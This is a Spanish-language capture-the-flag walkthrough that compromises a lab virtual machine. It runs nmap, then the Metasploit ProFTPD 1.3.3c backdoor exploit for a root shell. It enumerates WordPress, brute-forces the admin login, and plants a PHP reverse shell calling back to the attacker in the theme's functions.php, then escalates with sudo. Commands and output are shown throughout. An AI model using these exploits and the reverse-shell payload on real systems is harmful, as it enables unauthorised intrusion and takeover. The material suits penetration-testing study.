Escaneo de puertos

```
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.94SVN (https://nmap.org) at 2024-06-07 09:57 EDT
Nmap scan report for 192.168.5.173
Host is up (0.00068s latency).
      STATE SERVICE VERSION
PORT
21/tcp open ftp
                    ProFTPD 1.3.3c
                    OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
22/tcp open ssh
ssh-hostkey:
   2048 d6:01:90:39:2d:8f:46:fb:03:86:73:b3:3c:54:7e:54 (RSA)
    256 f1:f3:c0:dd:ba:a4:85:f7:13:9a:da:3a:bb:4d:93:04 (ECDSA)
   256 12:e2:98:d2:a3:e7:36:4f:be:6b:ce:36:6b:7e:0d:9e (ED25519)
                   Apache httpd 2.4.18 ((Ubuntu))
80/tcp open http
| http-title: Site doesn't have a title (text/html).
http-server-header: Apache/2.4.18 (Ubuntu)
MAC Address: 00:0C:29:A7:30:B0 (VMware)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux kernel
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.03 seconds
```

Metasploit

Si vamos a metasploit y vemos si tiene alguna vulnerabilidad el ftp veremos que si la tiene, por lo que haremos lo siguiente...

```
msfconsole -q
```

Dentro del entorno de metasploit haremos lo siguiente...

```
use exploit/unix/ftp/proftpd_133c_backdoor
set RHOSTS <VICTIM_IP>
set payload payload/cmd/unix/reverse
set LHOST <YOUR_IP>
run
```

Info:

```
[*] Started reverse TCP double handler on 192.168.5.162:4444
[*] 192.168.5.173:21 - Sending Backdoor Command
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 0PGACgf43119N3Fp;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
```

```
[*] Reading from socket B
[*] B: "0PGACgf43119N3Fp\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.5.162:4444 -> 192.168.5.173:47528) at
2024-06-07 10:02:25 -0400
whoami
root
```

Con esto abremos conseguido acceso a la maquina y ya no solo eso, si no que seriamos root automaticamente...

Segunda forma de resolucion

Gobuster

```
gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 50 -k -r
```

Info:

```
______
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
______
[+] Url:
                      http://192.168.5.173/
[+] Method:
                      GET
[+] Threads:
                      50
[+] Wordlist:
                      /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:
                      404
[+] User Agent:
                      gobuster/3.6
[+] Extensions:
                      html,php,txt
[+] Follow Redirect:
                      true
[+] Timeout:
                      10s
------
Starting gobuster in directory enumeration mode
______
/.htaccess.html (Status: 403) [Size: 302]
/.htpasswd.html (Status: 403) [Size: 302]
/.htaccess.php (Status: 403) [Size: 301]
                 (Status: 403) [Size: 297]
/.htpasswd
               (Status: 403) [Size: 301]
/.htaccess.txt
/.htpasswd.txt
                (Status: 403) [Size: 301]
                 (Status: 403) [Size: 301]
/.htpasswd.php
                 (Status: 403) [Size: 297]
/.htaccess
/index.html
                 (Status: 200) [Size: 177]
                 (Status: 403) [Size: 301]
/server-status
                 (Status: 200) [Size: 53390]
/secret
Progress: 81876 / 81880 (100.00%)
______
Finished
______
```

Si nos vamos a /secret vemos que hay un Wordpress por lo que haremos lo siguiente...

```
wpscan --url http://<IP>/secret/ --enumerate u
```



WordPress Security Scanner by the WPScan Team

Version 3.8.25

Sponsored by Automattic - https://automattic.com/

@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart

[+] URL: http://192.168.5.173/secret/ [192.168.5.173]

[+] Started: Fri Jun 7 10:10:50 2024

Interesting Finding(s):

[+] Headers

| Interesting Entry: Server: Apache/2.4.18 (Ubuntu)

| Found By: Headers (Passive Detection)

| Confidence: 100%

[+] XML-RPC seems to be enabled: http://192.168.5.173/secret/xmlrpc.php

| Found By: Direct Access (Aggressive Detection)

| Confidence: 100%

| References:

| - http://codex.wordpress.org/XML-RPC_Pingback_API

- | https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
- https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
- | https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
- https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://192.168.5.173/secret/readme.html

| Found By: Direct Access (Aggressive Detection)

| Confidence: 100%

[+] Upload directory has listing enabled: http://192.168.5.173/secret/wp-content/uploads/

| Found By: Direct Access (Aggressive Detection)

| Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://192.168.5.173/secret/wp-cron.php

| Found By: Direct Access (Aggressive Detection)

| Confidence: 60%

| References:

| - https://www.iplocation.net/defend-wordpress-from-ddos

- https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.9.25 identified (Outdated, released on 2024-01-30). | Found By: Emoji Settings (Passive Detection) - http://192.168.5.173/secret/, Match: '-release.min.js?ver=4.9.25' | Confirmed By: Meta Generator (Passive Detection) - http://192.168.5.173/secret/, Match: 'WordPress 4.9.25' [i] The main theme could not be detected. [+] Enumerating Users (via Passive and Aggressive Methods) Brute Forcing Author IDs - Time: 00:00:00 10) 100.00% Time: 00:00:00 [i] User(s) Identified: [+] admin | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection) [!] No WPScan API Token given, as a result vulnerability data has not been output. [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register [+] Finished: Fri Jun 7 10:10:52 2024 [+] Requests Done: 48 [+] Cached Requests: 5 [+] Data Sent: 12.219 KB [+] Data Received: 294.714 KB [+] Memory used: 148.348 MB [+] Elapsed time: 00:00:02 Por lo que vemos nos saco el usuario ``admin``, por lo que haremos lo siguiente... Antes de nada si probamos las credenciales por defecto que vienen en ``Wordpress`` que son ``User = admin`` y ``Password = admin`` entrariamos, pero si queremos tirar de herramientas, seria con el siguiente comando... wpscan --url http://<IP>/secret/ --usernames admin --passwords <WORDLIST> Info:



WordPress Security Scanner by the WPScan Team Version 3.8.25

[+] URL: http://192.168.5.173/secret/ [192.168.5.173] [+] Started: Fri Jun 7 10:12:00 2024 Interesting Finding(s): [+] Headers | Interesting Entry: Server: Apache/2.4.18 (Ubuntu) | Found By: Headers (Passive Detection) | Confidence: 100% [+] XML-RPC seems to be enabled: http://192.168.5.173/secret/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: - http://codex.wordpress.org/XML-RPC_Pingback_API - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress ghost scanner/ - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress xmlrpc dos/ - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress xmlrpc login/ - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/ [+] WordPress readme found: http://192.168.5.173/secret/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100% [+] Upload directory has listing enabled: http://192.168.5.173/secret/wp-content/uploads/ | Found By: Direct Access (Aggressive Detection) | Confidence: 100% [+] The external WP-Cron seems to be enabled: http://192.168.5.173/secret/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos - https://github.com/wpscanteam/wpscan/issues/1299 [+] WordPress version 4.9.25 identified (Outdated, released on 2024-01-30). | Found By: Emoji Settings (Passive Detection) - http://192.168.5.173/secret/, Match: '-release.min.js?ver=4.9.25' | Confirmed By: Meta Generator (Passive Detection) - http://192.168.5.173/secret/, Match: 'WordPress 4.9.25' [i] The main theme could not be detected. [+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)

Checking Config Backups - Time: 00:00:00

> (19820 /

137) 100.00% Time: 00:00:00

[i] No Config Backups Found.

[+] Performing password attack on Wp Login against 1 user/s

[SUCCESS] - admin / admin

Trying admin / akusayangkamu Time: 00:02:39 <

14364212) 0.13% ETA: ??:??:??

[!] Valid Combinations Found:

| Username: admin, Password: admin

- [!] No WPScan API Token given, as a result vulnerability data has not been output.
- [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
- [+] Finished: Fri Jun 7 10:14:44 2024
- [+] Requests Done: 19961 [+] Cached Requests: 29
- [+] Data Sent: 6.768 MB
- [+] Data Received: 70.162 MB
- [+] Memory used: 226.145 MB
- [+] Elapsed time: 00:02:44

Por lo que vemos las credenciales como bien dije antes son las de por defecto...

User = admin Password = admin

Una vez dentro del ``Wordpress`` nos vamos a la pestaña ``Themes`` y en la casilla ``Editor`` dentro de este entorno veremos un archivo para editar llamado ``Functions.php`` el cual inyectaremos una ``Reverse Shell`` de la siguiente manera...

```php

\$sock=fsockopen("<IP>",<PORT>);\$proc=proc\_open("sh", array(0=>\$sock, 1=>\$sock, 2=>\$sock),\$pipes);

Una vez inyectado esto, le damos a guardar los cambios al boton <a href="Update File">Update File</a> y estando a la escucha anteriormente...

```
nc -lvnp <PORT>
```

Cuando le demos a guardar automaticamente se nos creara una Shell con el usuario www-data, por lo que la sanitizaremos...

```
script /dev/null -c bash
<Ctrl> + <z>
stty raw -echo; fg
```

```
reset xterm
export TERM=xterm

Para ver las dimensiones de nuestra consola en el Host
stty size

Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
```

Descubrimos un usuario llamado marlinspike si probamos a cambiarnos a ese usuario utilizando como contraseña el mismo nombre de usuario seremos ese usuario...

```
User = marlinspike
Password = marlinspike
```

Una vez siendo este usuario, si hacemos sudo -1 veremos lo siguiente...

```
Matching Defaults entries for marlinspike on vtcsec:
 env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/snap/bin

User marlinspike may run the following commands on vtcsec:
 (ALL : ALL) ALL
```

Vemos que tenemos todos los privilegios por lo que si hacemos...

sudo su

Seremos root y con esto ya habriamos terminado la maquina...